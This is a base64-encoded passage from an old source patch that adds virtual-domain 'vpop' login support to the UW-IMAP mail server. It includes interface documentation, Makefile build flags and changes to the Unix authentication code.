bmV2ZXIgYSB1c2VyIGlzIHRyeWluZyB0bworYXV0aGVudGljYXRlIHdpdGgg dGhlIHN5c3RlbS4gSXQgaXMgY2FsbGVkIF9iZWZvcmVfIGFueSB1bml4IHVz ZXJuYW1lcyBhcmUKK2NoZWNrZWQuIERlcGVuZGluZyBvbiB0aGUgdmFsdWVz IGluIHRoZSByZXR1cm5lZCB2cG9wX19kYXRhIHN0cnVjdHVyZSwgdGhlCit1 c2VybmFtZSBhbmQgcGFzc3dvcmQgd2lsbCBvciB3aWxsIG5vdCBiZSBjaGVj a2VkIGFzIGEgdmFsaWQgVU5JWCB1c2VybmFtZS4gCisKK0hlcmUgYXJlIHRo ZSBkZXRhaWxzLi4uIAorCit2cG9wX191c2VhdXRoZW4gaXMgY2FsbGVkIHdp dGgsIG9mIGNvdXJzZSwgdGhlIHVzZXJuYW1lIGFuZCB0aGUgcGFzc3dvcmQg b2YKK3RoZSB1c2VyIHRyeWluZyB0byBjb25uZWN0LiBIb3dldmVyICJkZWZh dWx0X2Jhc2VfdXNlcm5hbWUiIGlzIGEgbGl0dGxlCit3ZWlyZC4gSWYgYy1j bGllbnQgaXMgdHJ5aW5nIHRvIGxvZ2luIGEgdXNlciBhbmQgaXQgaXMgbm90 IHJ1bm5pbmcgYXMgcm9vdAoraXQgd2lsbCBwcm92aWRlIHRoZSB1c2VybmFt ZSBvZiB0aGUgY3VycmVudCB1c2VyIGluIGRlZmF1bHRfYmFzZV91c2VybmFt ZQoraGVyZS4gSWYgYy1jbGllbnQgaXMgcnVubmluZyBhcyByb290LCBhbmQg Y2FuIHN3aXRjaCB0byBhbnkgdXNlciB0aGVuIHRoaXMKK3dpbGwgZSBOVUxM LiAoWW91IHdpbGwgbm90IGdldCBhIG5vbi1OVUxMIHZhbHVlIGZyb20gaW1h cGQgYnV0IHJhdGhlciBmcm9tCit0b29scyBsaWtlIGRtYWlsIGluIHRoZSBp bWFwLXV0aWxzIHBhY2thZ2UuIFRoZXNlIHRvb2xzIGFyZSB1c2VkIGZvciB0 aGluZ3MKK2xpa2UgbG9jYWwgZGVsaXZlcnkgYW5kIGFyZSBhbHJlYWR5IHJ1 bm5pbmcgYXMgdGhlIGNvcnJlY3QgVU5JWCB1c2VyLikgCisKK3Zwb3BfX3Vz ZXJhdXRoZW4gdGhlbiBnZXRzIHRvIGNvbnRyb2wgd2hhdCBjLWNsaWVudCBk b2VzIGJ5IHRoZSBzdHJ1Y3R1cmUgaXQKK3JldHVybnMuLi4gaGVyZSBhcmUg d2hhdCB0aGUgdmFsdWVzIG1lYW4gIAorCisqIHZhbGlkX2Zvcm0gc3BlY2lm aWVzIGlmIHRoZSB1c2VybmFtZSBsb29rcyBsaWtlIGEgdmlydHVhbCB1c2Vy bmFtZS4gSWYKK3RoaXMgaXMgcmV0dXJuZWQgYXMgdHJ1ZSwgYy1jbGllbnQg ZG9lcyBub3QgdHJ5IHRvIGNoZWNrIHRoZSB1c2VybmFtZSBhbmQKK3Bhc3N3 b3JkIGFzIGEgVU5JWCB1c2VyLiBJZiB2YWxpZF9mb3JtIGlzIGZhbHNlLCB2 cG9wX191c2VyYXV0aGVuIHNob3VsZCBzZXQKK2l0IGZhbHNlIGFuZCBqdXN0 IHJldHVybiB0aGVyZS4gIAorCisqIHZhbGlkX3VzZXIgc3BlY2lmaWVzIGlm IHRoaXMgdXNlcm5hbWUgaXMgYSB2YWxpZCB1c2VybmFtZS4gVGhpcyBjYW4g b25seQorYmUgdHJ1ZSBpZiB2YWxpZF9mb3JtIGlzIHRydWUuICAKKworKiB1 bml4X3VzZXJuYW1lIHNwZWNpZmllcyB0aGUgVU5JWCB1c2VybmFtZSB0aGF0 IHdlIHNob3VsZCBzd2l0Y2ggdWlkL2dpZAordG8gd2hlbiBhY2Nlc3Npbmcg dGhlIG1haWwgb2YgdGhlIHZpcnR1YWwgdXNlci4gIAorCisqIHZpcnR1YWxf dXNlcm5hbWUgc3BlY2lmaWVzIHRoZSB2aXJ0dWFsIHVzZXJuYW1lIG9mIHRo ZSB2aXJ0dWFsIGUtbWFpbAorYWNjb3VudC4gRG9lcyBub3QgaGF2ZSB0byBi ZSBhIHZhbGlkIGxvZ2luIHVzZXIgb3IgYW55dGhpbmcuIE5vdCBjdXJyZW50 bHkKK3VzZWQgZm9yIGFueXRoaW5nLiA6LSkgIAorCisqIGJsYWNrX2JveF9o b21lIHNwZWNpZmllcyB0aGUgZGlyZWN0b3J5IHdoZXJlIHRoZSBlLW1haWwg Zm9yIHRoaXMgdXNlcgord2lsbCBiZSBzdG9yZWQuIHVuaXhfdXNlcm5hbWUg c2hvdWxkIGhhdmUgd3JpdGUgcGVybWlzc2lvbiBoZXJlLiBUaGUgdXNlciBp cworbG9ja2VkIGRvd24gaW50byB0aGlzIGRpcmVjdG9yeSBhbmQgbm93IGFs bG93ZWQgdG8gZ2V0IG1haWwgZnJvbSBhbnl3aGVyZQorZWxzZSBpbiB0aGUg c3lzdGVtLiAgCisKKyogYXV0aGVudGljYXRlZCBzcGVjaWZpZXMgaWYgdGhl IHBhc3N3b3JkIHdhcyBjb3JyZWN0LiBFdmVuIGlmIHRoZSBzdXBwbGllZAor cGFzc3dvcmQgd2FzIGluY29ycmVjdCB2cG9wX191c2VyYXV0aGVuIGlzIHJl cXVpcmVkIHRvIHNldCB0aGUKK3VuaXhfdXNlcm5hbWUsIHZpcnR1YWxfdXNl cm5hbWUsIGFuZCBibGFja19ib3hfaG9tZSB2YWx1ZXMuIFRoaXMgaXMgYmVj YXVzZQorc29tZXRpbWVzIHRoaXMgaW5mb3JtYXRpb24gaXMgbmVlZGVkIHdp dGhvdXQgcGFzc3dvcmQgYXV0aGVudGljYXRpb24gb3V0c2lkZQorb2YgaW1h cGQsIHN1Y2ggYXMgd2hlbiBkbWFpbCBpcyB1c2VkIHRvIGRlbGl2ZXIgdG8g YSB2aXJ0dWFsIGUtbWFpbCB1c2VyLiAgCisKKyogbG9nX2Vycm9yIGlzIGEg c3RyaW5nIHRvIGxvZyBhcyBhbiBlcnJvci4gSWYgdGhpcyBpcyBub3QgTlVM TCwgaXQgd2lsbCBiZQord3JpdHRlbiB0byB0aGUgc3RhbmRhcmQgYy1jbGll bnQgZXJyb3IgcmVwb3J0aW5nIGRldmljZS4gSW5zaWRlIG9mIGltYXBkCit0 aGlzIHdpbGwgd29yayBpdHMgd2F5IGludG8gc3lzbG9nLiAKKworKiB0cmFu c2xhdGVkX3VzZXIgc2hvdWxkIHJldHVybiBOVUxMLCB1bmxlc3MgdGhlIHZw b3AgaW1wbGVtZW50YWlvbiBpcworYmVpbmcgdXNlZCBqdXN0IGZvciB0cmFu c2xhdGluZyB0aGUgZ2l2ZW4gdXNlcm5hbWUgaW4gYSBsb2NhbCB2YWxpZCB1 c2VybmFtZS4KKworLS0tLSBlbmQgaW50ZXJmYWNlIGRlc2NyaXB0aW9uIC0t LS0tCisKK1NvLCB3aGVuIGFkZGluZyBhIG5ldyBpbnRlcmZhY2UgdG8gdnBv cCwgYWxsIHRoYXQgaGF2ZSB0byBiZSBkb25lIGlzOgorY3JlYXRlIGEgbmV3 IGludGVyZmFjZSBmaWxlIHZwb3BfPGltcGxlbWVudGF0aW9uPi5jCisKK2Fu ZCBlZGl0IE1ha2VmaWxlIGFuZCBzcmMvb3NkZXAvdW5peC9NYWtlZmlsZSBh Y2NvcmRsaW5nIChwbGVhc2UganVzdCBub3RlCitob3cgZXh0bWFrZW1ha2Vy IHdhcyBkb25lKS4KKworSWYgVlBPUCBpcyBub3RlIHBhc3NlZCB0byBtYWtl IGR1cmluZyBidWlsZCB0aW1lLCB0aGUgYnVpbHQgYmluYXJpZXMgYQorYXJl IGV4YWN0bHkgdGhlIG9uZXMgd2l0aG91dCB0aGUgdnBvcCBwYXRjaC4KKwor CisKKworQVVUSE9SUzoKKy0tLS0tLS0tCisKK0RhdmlkIEhhcnJpcyA8ZGhh cnJpc0BkYXZpZGVvdXMuY29tPiBpcyB0aGUgb3JpZ2luYWwgYXV0aG9yIG8g dnBvcCBhbmQKK2ltcGxlbWVudGVkIGl0LiAgSG93ZXZlciBoZSBubyBsb25n ZXIgaGF2ZSB0aW1lIHRvIG1hbnRhaW4gaXQuCisKK0RhdmlkIG1hbnRhaW5z IGluZm8gYWJvdXQgaGlzIG9yaWdpbmFsIHBhdGNoIGFuZCBhIG1haWxsaXN0 IGF0CitodHRwOi8vd3d3LmRhdmlkZW91cy5jb20KKworUmF1bCBEaWFzIDxy YXVsQGRpYXMuY29tLmJyPiB1cGRhdGUgdGhlIHBhdGNoIHRvIHRoZSBsYXRl c3QgaW1hcCB2ZXJzaW9uIAorYW5kIGltcGxlbWVudCBhIGZldyBuZXcgY2Fw YWJpbGl0aWVzIGxpa2UgdHJhbnNsYXRpbmcgdXNlciBpbnRlcmZhY2UuCisK K0lmIHlvdSBmaW5kIGJ1Z3Mgb3IgcHJvYmxlbXMgd2l0aCB0aGlzLiAgWW91 IHNob3VsZCBibGFtZSBtZSBhdAorPHJhdWxAZGlhcy5jb20uYnI+IGFuZCBu b3QgdGhlIFVuaXZlcnNpdHkgb2YgV2FzaGluZ3RvbiBuZWl0aGVyIE1hcmsK K0NyaXNwaW5nLgorCisKKworTElDRU5TRToKKy0tLS0tLS0tCisKK1RoaXMg cGF0Y2ggaGFzIHRoZSBzYW1lIGxpY2Vuc2UgYXMgVVctSU1BUCB0b29sa2l0 IGl0c2VsZi4KKworCmRpZmYgLU5ydSBpbWFwLTIwMDBjLm9yaWcvZG9jcy92 cG9wX2V4dG1ha2VtYXAudHh0IGltYXAtMjAwMGMtdnBvcC5jb21waWxlL2Rv Y3MvdnBvcF9leHRtYWtlbWFwLnR4dAotLS0gaW1hcC0yMDAwYy5vcmlnL2Rv Y3MvdnBvcF9leHRtYWtlbWFwLnR4dAlXZWQgRGVjIDMxIDIxOjAwOjAwIDE5 NjkKKysrIGltYXAtMjAwMGMtdnBvcC5jb21waWxlL2RvY3MvdnBvcF9leHRt YWtlbWFwLnR4dAlNb24gSnVsIDE2IDE0OjU3OjU2IDIwMDEKQEAgLTAsMCAr MSw0MyBAQAorCisJVmlydHVhbCBQb3AgRXh0ZXJuYWwgTWFrZW1hcCBpbXBs ZW1lbnRhdGlvbi4KKworVG8gY29tcGlsZSBqdXN0OgorCiskbWFrZSA8c3lz dGVtPiBWUE9QPWV4dG1ha2VtYXAKKword2hlcmUgc3lzdGVtIHRoZSBzeXN0 ZW0geW91IHVzZSB0byBjb21waWxlIHRoZSByZWd1bGFyIGltYXBkLgorZS5n OiAkIG1ha2UgbG5wIFZQT1A9ZXh0bWFrZW1hcAorCitUaGUgZXh0ZXJuYWwg bWFrZW1hcCBpbXBsZW1lbnRhdGlvbiBpbXBsZW1lbnRzIGEgVmlydHVhbCBk b21haW4KK3N1cHBvcnQgdG8gdGhlIGltYXBkIHRvb2xraXQgdXNpbmcgc2Vu ZG1haWwncyBtYWtlbWFwLgorCitTbywgd2hlbiBhIHVzZXIgdHJpZXMgdG8g YXV0aGVudGljYXRlIHVzaW5nIGEgbmFtZUBkb21haW4gZm9ybWF0CitpdCB3 aWxsIHJ1biAoc2VjdXJpbHkpIHRoZSBjb21tYW5kICIvdXNyL2Jpbi9tYWtl bWFwIC11IGhhc2ggL2V0Yy9tYWlsL3ZpcnR1c2VydGFibGUuZGIiCithbmQg bG9va3VwIHRoZSB0YWJsZSBmb3IgdGhlIHVzZXJAZG9tYWluIGtleS4KKwor SWYgZm91bmQsIGl0IHJldHVybnMgdGhlIGNvcnJlc3BvbmRpbmcgdXNlcm5h bWUgdG8gYy1jbGllbnQgYXMgaWYgdGhlIHVzZXIgaGFkIHNwZWNpZmllZCBp dC4KKworSWYgbm90IGZvdW5kLCBpdCB3aWxsIHNlYXJjaCBmb3IgYSBAZG9t YWluIGtleSwgd2hpY2ggaXMgc2VuZG1haWwncyBnZW5lcmljIGRvbWFpbiBh Y2NvdW50LgorSWYgZm91bmQgd2lsbCB0cnkgdG8gYXV0aGVudGljYXRlIHdp dGggaXRzIGFjY291bnQuCisKK0lmIGJvdGggZmFpbGVkLiAgZXh0bWFrZW1h cCB3aWxsIHN0cmlwIHRoZSBAZG9tYWluIHBhcnQgZnJvbSB0aGUgdXNlciBu YW1lIGFuZCBnaXZlIGl0IGJhY2sgCit0byBjLWNsaWVudC4KKworSWYgdGhl IGNsaWVudCBzcGVjaWZpZXMgYSB1c2VyIHdpdGhvdXQgYSBAZG9tYWluIHBh cnQgaXQgd2lsbCBub3QgdHJ5IHRvIGRvIGEgbWFrZW1hcCBsb29rdXAuCisK K1RoZSBkb3duc2lkZSBhYm91dCByZWFkaW5nIHRoZSBvdXRwdXQgb2YgbWFr ZW1hcCBpcyB0aGF0IGEgZm9yayBpcyBnZW5lcmF0ZWQgaW4gb3JkZXIgdG8g cnVuIAordGhlIG1ha2VtYXAgcHJvY2VzcyBlYWNoIHRpbWUgYSBAZG9tYWlu IGlzIHNwZWNpZmllZC4KKworQW5vdGhlciBzb2x1dGlvbiBmb3IgdGhpcyBp cyB0byByZWFkIHRoZSB2aXJ0dXNlcnRhYmxlLmRiIGZpbGUgZGlyZWN0bHks IHRoZSBwcm9ibGVtIHdpdGggdGhpcworaXMgdGhhdCBzZW5kbWFpbCBjYW4g YmUgY29tcGlsZWQgd2l0aCBlaXRoZXI6IGRiMSwgZGIyLCBkYjMsIHNtZGIg b3IgbmRibS4KKworSW4gbGludXggaXQgaXMgdXN1YWxseSBjb21waWxlZCB3 aXRoIGRiMiBpbiBnbGliYzIuMSBkaXN0cmlidXRpb25zIGFuZCBhcmUgYmVp bmcgcmVwbGFjZWQKK2J5IGRiMyBpbiBnbGliYzIuMiBkaXN0cmlidXRpb25z LgorCitUaGlzIG1lYW5zIHRoYXQgdGhlIGltYXAgdG9vbGtpdCB3b3VsZCBo YXZlIHRvIGJlIGNvbXBpbGVkIHdpdGggdGhvc2UgbGlicyBpbiBvcmRlciB0 byAKK3JlYWQgdGhlIGRhdGFiYXNlIGZpbGUuICBBbmQgaW4gYSB1cGdyYWRl LCB0aGF0IG1pZ2h0IGNoYW5nZSBhZ2Fpbi4KKworWW91IGNhbiBtYWlsIGFu eSB2cG9wJ3MgZXh0bWFrZW1hcCByZWxhdGVkIHN1YmplY3QgdG8gbWUuCisK K1JhdWwgRGlhcyA8cmF1bEBkaWFzLmNvbS5icj4KKwpkaWZmIC1OcnUgaW1h cC0yMDAwYy5vcmlnL3NyYy9vc2RlcC91bml4L01ha2VmaWxlIGltYXAtMjAw MGMtdnBvcC5jb21waWxlL3NyYy9vc2RlcC91bml4L01ha2VmaWxlCi0tLSBp bWFwLTIwMDBjLm9yaWcvc3JjL29zZGVwL3VuaXgvTWFrZWZpbGUJVGh1IEZl YiAgMSAxNjoxNTo1OCAyMDAxCisrKyBpbWFwLTIwMDBjLXZwb3AuY29tcGls ZS9zcmMvb3NkZXAvdW5peC9NYWtlZmlsZQlNb24gSnVsIDE2IDE0OjA0OjMz IDIwMDEKQEAgLTI1LDYgKzI1LDMxIEBACiBFWFRSQURSSVZFUlM9bWJveAog UEFTU1dEVFlQRT1zdGQKIAorVlBPUD0KKyMgtGV4dG1ha2VtYXC0IFZQT1Ag ZGF0YQorVlBPUF9FWFRNQUtFTUFQX1NSQz12cG9wX2V4dG1ha2VtYXAuYwor VlBPUF9FWFRNQUtFTUFQX09CSj12cG9wLm8KK1ZQT1BfRVhUTUFLRU1BUF9D RkxBR1M9IC1EVlBPUAorVlBPUF9FWFRNQUtFTUFQX0xERkxBR1M9CitWUE9Q X0VYVE1BS0VNQVBfREVQRU5ERU5DWT12cG9wLmgKKworaWZlcSAoJChWUE9Q KSxleHRtYWtlbWFwKQorCVZQT1BfU1JDPSQoVlBPUF9FWFRNQUtFTUFQX1NS QykKKwlWUE9QX09CSj0kKFZQT1BfRVhUTUFLRU1BUF9PQkopCisJVlBPUF9D RkxBR1M9JChWUE9QX0VYVE1BS0VNQVBfQ0ZMQUdTKQorCVZQT1BfTERGTEFH Uz0kKFZQT1BfRVhUTUFLRU1BUF9MREZMQUdTKQorCVZQT1BfREVQRU5ERU5D WT0kKFZQT1BfRVhUTUFLRU1BUF9ERVBFTkRFTkNZKQorCVZQT1BfU1JDX0ZJ TkFMPXZwb3AuYworZWxzZQorCVZQT1BfU1JDPQorCVZQT1BfT0JKPQorCVZQ T1BfQ0ZMQUdTPQorCVZQT1BfTERGTEFHUz0KKwlWUE9QX0RFUEVOREVOQ1k9 CisJVlBPUF9TUkNfRklOQUw9CitlbmRpZgorCQorCiAKICMgRXh0ZW5kZWQg ZmxhZ3MgbmVlZGVkIGZvciBub24tc3RhbmRhcmQgcGFzc3dkIHR5cGVzLiAg WW91IG1heSBuZWVkIHRvIG1vZGlmeS4KIApAQCAtOTEsNyArMTE2LDkgQEAK IEJJTkFSSUVTPW1haWwubyBtaXNjLm8gbmV3c3JjLm8gc21hbmFnZXIubyBv c2RlcC5vIHV0ZjgubyBzaWdsb2NhbC5vIFwKICBkdW1teS5vIHBzZXVkby5v IG5ldG1zZy5vIGZsc3RyaW5nLm8gZmRzdHJpbmcubyBcCiAgcmZjODIyLm8g bm50cC5vIHNtdHAubyBpbWFwNHIxLm8gcG9wMy5vIFwKLSB1bml4Lm8gbWJv eC5vIG1ieC5vIG1tZGYubyB0ZW5leC5vIG10eC5vIG5ld3MubyBwaGlsZS5v IG1oLm8gbXgubworIHVuaXgubyBtYm94Lm8gbWJ4Lm8gbW1kZi5vIHRlbmV4 Lm8gbXR4Lm8gbmV3cy5vIHBoaWxlLm8gbWgubyBteC5vIFwKKyAkKFZQT1Bf T0JKKQorCiBDRkxBR1M9LWcKIAogQ0FUPWNhdApAQCAtOTksNyArMTI2LDcg QEAKIE1WPW12CiBSTT1ybSAtcmYKIFNIPXNoCi0KK0NQPWNwIC1mCiAKICMg UHJpbWFyeSBidWlsZCBjb21tYW5kCiAKQEAgLTM4OCw4ICs0MTUsOCBAQAog CSBTUE9PTERJUj0vdmFyL3Nwb29sIFwKIAkgQUNUSVZFRklMRT0vdmFyL2xp Yi9uZXdzL2FjdGl2ZSBcCiAJIFJTSFBBVEg9L3Vzci9iaW4vcnNoIFwKLQkg QkFTRUNGTEFHUz0iLWcgLWZuby1vbWl0LWZyYW1lLXBvaW50ZXIgLU82IiBc Ci0JIEJBU0VMREZMQUdTPSItbHBhbSAtbGRsIgorCSBCQVNFQ0ZMQUdTPSIt ZyAtZm5vLW9taXQtZnJhbWUtcG9pbnRlciAtTzYgJChWUE9QX0NGTEFHUyki IFwKKwkgQkFTRUxERkxBR1M9Ii1scGFtIC1sZGwgJChWUE9QX0xERkxBR1Mp IgogCiBsbng6CSMgTGludXggbm9uLXNoYWRvdyBwYXNzd29yZHMKIAlAZWNo byBZb3UgYXJlIGJ1aWxkaW5nIGZvciB0cmFkaXRpb25hbCBMaW51eCAqd2l0 aG91dCogc2hhZG93CkBAIC00MDEsNyArNDI4LDcgQEAKIAkgU1BPT0xESVI9 L3Zhci9zcG9vbCBcCiAJIEFDVElWRUZJTEU9L3Zhci9saWIvbmV3cy9hY3Rp dmUgXAogCSBSU0hQQVRIPS91c3IvYmluL3JzaCBcCi0JIEJBU0VDRkxBR1M9 Ii1nIC1PIgorCSBCQVNFQ0ZMQUdTPSItZyAtTyAkKFZQT1BfQ0ZMQUdTKSAi CiAKIGx5bjoJIyBMeW54T1MKIAkkKEJVSUxEKSBgJChDQVQpIFNQRUNJQUxT YCBPUz0kQCBcCkBAIC01NjksOCArNTk2LDggQEAKIAkgU1BPT0xESVI9L3Zh ci9zcG9vbCBcCiAJIEFDVElWRUZJTEU9L3Zhci9saWIvbmV3cy9hY3RpdmUg XAogCSBSU0hQQVRIPS91c3IvYmluL3JzaCBcCi0JIEJBU0VDRkxBR1M9Ii1n IC1mbm8tb21pdC1mcmFtZS1wb2ludGVyIC1PNiIgXAotCSBCQVNFTERGTEFH Uz0iLWxjcnlwdCIKKwkgQkFTRUNGTEFHUz0iLWcgLWZuby1vbWl0LWZyYW1l LXBvaW50ZXIgLU82ICQoVlBPUF9DRkxBR1MpIiBcCisJIEJBU0VMREZMQUdT PSItbGNyeXB0ICQoVlBPUF9MREZMQUdTKSIKIAogc2w0OgkjIFNlY3VyZSBM aW51eCB1c2luZyBsaWJjNAogCUBlY2hvIFlvdSBhcmUgYnVpbGRpbmcgZm9y IGxpYmM0IHZlcnNpb25zIG9mIFNlY3VyZSBMaW51eApAQCAtNzY1LDcgKzc5 Miw2IEBACiB1bml4Lm86IG1haWwuaCBtaXNjLmggb3NkZXAuaCB1bml4Lmgg cHNldWRvLmggZHVtbXkuaAogdXRmOC5vOiBtYWlsLmggbWlzYy5oIG9zZGVw LmggdXRmOC5oCiAKLQogIyBPUy1kZXBlbmRlbnQKIAogb3NkZXAubzptYWls LmggbWlzYy5oIGVudi5oIGZzLmggZnRsLmggbmwuaCB0Y3AuaCBcCkBAIC03 NzcsNyArODAzLDcgQEAKIAlwbWF0Y2guYyBzY2FuZGlyLmMgc2V0cGdycC5j IHN0cmVycm9yLmMgdHJ1bmNhdGUuYyB3cml0ZS5jIFwKIAltZW1tb3ZlLmMg bWVtbW92ZTIuYyBtZW1zZXQuYyBcCiAJdHpfYnNkLmMgdHpfbnVsLmMgdHpf c3Y0LmMgXAotCXdyaXRlLmMgXAorCXdyaXRlLmMgJChWUE9QX1NSQ19GSU5B TClcCiAJc3RyZXJyb3IuYyBzdHJwYnJrLmMgc3Ryc3RyLmMgc3RydG9rLmMg c3RydG91bC5jIFwKIAlPU0NGTEFHUwogCWAkKENBVCkgQ0NUWVBFYCAtYyBg JChDQVQpIENGTEFHU2AgYCQoQ0FUKSBPU0NGTEFHU2AgLWMgb3NkZXAuYwpk aWZmIC1OcnUgaW1hcC0yMDAwYy5vcmlnL3NyYy9vc2RlcC91bml4L2Vudl91 bml4LmMgaW1hcC0yMDAwYy12cG9wLmNvbXBpbGUvc3JjL29zZGVwL3VuaXgv ZW52X3VuaXguYwotLS0gaW1hcC0yMDAwYy5vcmlnL3NyYy9vc2RlcC91bml4 L2Vudl91bml4LmMJVGh1IERlYyAyMSAwNDoxMjoxMyAyMDAwCisrKyBpbWFw LTIwMDBjLXZwb3AuY29tcGlsZS9zcmMvb3NkZXAvdW5peC9lbnZfdW5peC5j CU1vbiBKdWwgMTYgMTU6MzU6MzQgMjAwMQpAQCAtMjEsNyArMjEsMTIgQEAK ICNpbmNsdWRlIDxncnAuaD4KICNpbmNsdWRlIDxzaWduYWwuaD4KICNpbmNs dWRlIDxzeXMvd2FpdC5oPgotDAorCisjaWZkZWYgVlBPUAorLyogaW5jbHVk ZSB0aGUgdnBvcCBoZWFkZXIgZmlsZSAqLworI2luY2x1ZGUgInZwb3AuaCIK KyNlbmRpZgorCiAvKiBjLWNsaWVudCBlbnZpcm9ubWVudCBwYXJhbWV0ZXJz ICovCiAKIAkJCQkvKiBkb24ndCBjaGFuZ2UgdGhlc2UgKi8KQEAgLTc5LDcg Kzg0LDE2IEBACiBzdGF0aWMgaW50IGxvZ3RyeSA9IDM7CQkvKiBudW1iZXIg b2Ygc2VydmVyIGxvZ2luIHRyaWVzICovCiAJCQkJLyogYmxvY2sgbm90aWZp Y2F0aW9uICovCiBzdGF0aWMgYmxvY2tub3RpZnlfdCBtYWlsYmxvY2tub3Rp ZnkgPSBtbV9ibG9ja25vdGlmeTsKLQwKKworI2lmZGVmIFZQT1AKKy8qIHN0 YXRlIHZhcmlhYmxlcyBmb3IgYSB2cG9wIGxvZ2luICovCitzdGF0aWMgY2hh ciAqdnBvcF92aXJ0dWFsVXNlcm5hbWUgPSBOSUw7CitzdGF0aWMgY2hhciAq dnBvcF9ibGFja0JveEhvbWUgPSBOSUw7CitzdGF0aWMgY2hhciAqdnBvcF91 c2VybmFtZSA9IE5JTDsKKworc3RhdGljIGNoYXIgKm15VXNlck5hbWVfdW5p eCA9IE5JTDsgLyogVU5JWCB1c2VyIG5hbWUgKGJlY3Vhc2UgbXlVc2VyTmFt ZSBjb3VsZCBiZSB2cG9wIHVzZXIpICovCisjZW5kaWYKKwogLyogVU5JWCBu YW1lc3BhY2VzICovCiAKIAkJCQkvKiBwZXJzb25hbCBtaCBuYW1lc3BhY2Ug Ki8KQEAgLTQ1NywzOSArNDcxLDczIEBACiAJCSAgICAgdXNyLGF1c3IsdGNw X2NsaWVudGhvc3QgKCkpOwogICAgICAgfQogICAgIH0KKyNpZmRlZiBWUE9Q ICAgIAorICAgIGVsc2UgeworICAgICAgLyogY2hlY2sgZm9yIGEgdnBvcCB1 c2VyICovCisgICAgICB2cG9wX19kYXRhKiB2cG9wOworICAgICAgdnBvcCA9 IHZwb3BfX3VzZXJhdXRoZW4odXNlciwgcHdkLCBOVUxMKTsKKworICAgICAg aWYgKCB2cG9wLT5sb2dfZXJyb3IgKQorICAgICAgICBzeXNsb2cgKExPR19J TkZPLCJWcG9wIGF1dGggZXJyb3IgdXNlcj0lLjgwcyBob3N0PSUuODBzOiAl cyIsdXNlcix0Y3BfY2xpZW50aG9zdCAoKSwgdnBvcC0+bG9nX2Vycm9yKTsK KyAgICAgIGlmICggdnBvcC0+YXV0aGVudGljYXRlZCAmJihwdyA9IGdldHB3 bmFtKHZwb3AtPnVuaXhfdXNlcm5hbWUpKSApIHsKKyAgICAgICAgdnBvcF92 aXJ0dWFsVXNlcm5hbWUgPSBjcHlzdHIodnBvcC0+dmlydHVhbF91c2VybmFt ZSk7CisgICAgICAgIHZwb3BfYmxhY2tCb3hIb21lID0gY3B5c3RyKHZwb3At PmJsYWNrX2JveF9ob21lKTsKKyAgICAgICAgdnBvcF91c2VybmFtZSA9IGNw eXN0cih1c2VyKTsKKyAgICAgICAgdnBvcF9fZnJlZWRhdGEodnBvcCk7CisJ Lyogb3VyIGF1dGhlbnRpY2F0aW9uIHVzZXIgYW5kIHVzZXJuYW1lIGlzIHRo ZSBzYW1lICovCisgICAgICAgIHJldHVybiBwd19sb2dpbiAocHcscHctPnB3 X25hbWUscHctPnB3X25hbWUscHctPnB3X2RpcixhcmdjLGFyZ3YpOworICAg ICAgfQorICAgICAgLyogY2hlY2sgZm9yIHRyYW5zbGF0ZWQgdXNlcm5hbWUg Ki8KKyAgICAgIGlmICggKCEgdnBvcC0+dmFsaWRfZm9ybSkgJiYgKHZwb3At PnRyYW5zbGF0ZWRfdXNlcikgKQorCXVzZXIgPSBjcHlzdHIodnBvcC0+dHJh bnNsYXRlZF91c2VyKTsKKyAgICAgIC8qIGRvbid0IGFsbG93IHVuaXggdXNl cnMgd2hpY2ggbG9vayBsaWtlIHZwb3AgdXNlcnMgKi8gICAgICAKKyAgICAg IGlmICggISB2cG9wLT52YWxpZF9mb3JtICkgewogCQkJCS8qIG9yZGluYXJ5 IHBhc3N3b3JkIGF1dGhlbnRpY2F0aW9uICovCi0gICAgZWxzZSBpZiAoKGF1 dGh1c2VyICYmICphdXRodXNlcikgPwotCSAgICAgKCgocHcgPSBnZXRwd25h bSAoc3RyY3B5IChhdXNyLGF1dGh1c2VyKSkpIHx8Ci0JICAgICAgIChwdyA9 IGdldHB3bmFtIChsY2FzZSAoYXVzcikpKSkgJiYKLQkgICAgICAoY2hlY2tw dyAocHcscHdkLGFyZ2MsYXJndikgfHwKLQkgICAgICAgKCgqcHdkID09ICcg JykgJiYgY2hlY2twdyAoZ2V0cHduYW0gKGF1c3IpLHB3ZCsxLGFyZ2MsYXJn dikpKSAmJgotCSAgICAgICgocHcgPSBnZXRwd25hbSAoc3RyY3B5ICh1c3Is dXNlcikpKSB8fAotCSAgICAgICAocHcgPSBnZXRwd25hbSAobGNhc2UgKHVz cikpKSkpIDoKLQkgICAgICgoKHB3ID0gZ2V0cHduYW0gKHN0cmNweSAoYXVz cix1c2VyKSkpIHx8Ci0JICAgICAgIChwdyA9IGdldHB3bmFtIChsY2FzZSAo YXVzcikpKSkgJiYKLQkgICAgICAoKHB3ID0gY2hlY2twdyAocHcscHdkLGFy Z2MsYXJndikpIHx8Ci0JICAgICAgICgoKnB3ZCA9PSAnICcpICYmCi0JCShw dyA9IGNoZWNrcHcgKGdldHB3bmFtKGF1c3IpLHB3ZCsxLGFyZ2MsYXJndikp KSkpKQotICAgICAgbG9ncHcgPSBwdzsKLQwKLSAgICBpZiAobG9ndHJ5IDw9 IDApCQkvKiBleGNlc3NpdmUgbG9naW4gZmFpbHVyZXMgKi8KLSAgICAgIHN5 c2xvZyAoTE9HX05PVElDRXxMT0dfQVVUSCwKLQkgICAgICAiTG9naW4gYXR0 ZW1wdCBhZnRlciBsb2Nrb3V0IHVzZXI9JS44MHMgaG9zdD0lLjgwcyIsCi0J ICAgICAgdXNlcix0Y3BfY2xpZW50aG9zdCAoKSk7Ci0gICAgZWxzZSBpZiAo IWxvZ3B3KQkJLyogbG9naW4gZmFpbGVkICovCi0gICAgICBzeXNsb2cgKExP R19OT1RJQ0V8TE9HX0FVVEgsIiVzIHVzZXI9JS44MHMgaG9zdD0lLjgwcyIs Ci0JICAgICAgKGxvZ3RyeS0tID4gMCkgPyAiTG9naW4gZmFpbHVyZSIgOiAi RXhjZXNzaXZlIGxvZ2luIGF0dGVtcHRzIiwKLQkgICAgICB1c2VyLHRjcF9j bGllbnRob3N0ICgpKTsKKyAgICAgICAgaWYgCisjZWxzZQorCWVsc2UgaWYK KyNlbmRpZgkKKyAgCSAgKChhdXRodXNlciAmJiAqYXV0aHVzZXIpID8JCQor ICAgICAgICAgICAgKCgocHcgPSBnZXRwd25hbSAoc3RyY3B5IChhdXNyLGF1 dGh1c2VyKSkpIHx8CisJICAgICAgKHB3ID0gZ2V0cHduYW0gKGxjYXNlIChh 